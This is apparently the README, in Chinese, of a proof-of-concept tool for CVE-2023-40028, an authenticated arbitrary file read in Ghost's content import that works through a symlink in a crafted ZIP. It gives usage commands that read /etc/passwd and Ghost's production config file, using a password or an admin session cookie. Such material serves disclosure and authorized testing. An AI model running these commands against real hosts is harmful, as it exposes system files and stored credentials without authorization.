CVE-2023-40028 的概念验证,这是 Ghost 内容导入功能中的一个经过身份验证的任意文件读取漏洞。一个精心构造的 ZIP 归档会在 content/images 下创建一个符号链接,使脚本能够从 Ghost 主机请求文件。
5.59.1 之前的 Ghost 版本会受到影响。请升级到 5.59.1 或更高版本。
仅在你拥有或获得授权测试的系统上使用此工具。
requestsghost-admin-api-session cookiepython3 -m venv .venv
source .venv/bin/activate
python -m pip install requests
使用用户名和密码读取一个文件:
python3 ghost_fileread.py \
--url https://ghost.example \
--username [email protected] \
--password 'password' \
--file /etc/passwd
使用现有的管理员会话 cookie:
python3 ghost_fileread.py \
--url https://ghost.example \
--cookie 'session-cookie-value' \
--file /var/lib/ghost/config.production.json
省略 --file 以打开交互式 file> 提示符。运行 python3 ghost_fileread.py --help 查看代理、超时和 User-Agent 选项。
该端点返回文本,因此此工具适用于文本文件。导入精心构造的归档会在目标的 content/images 目录中留下一个符号链接。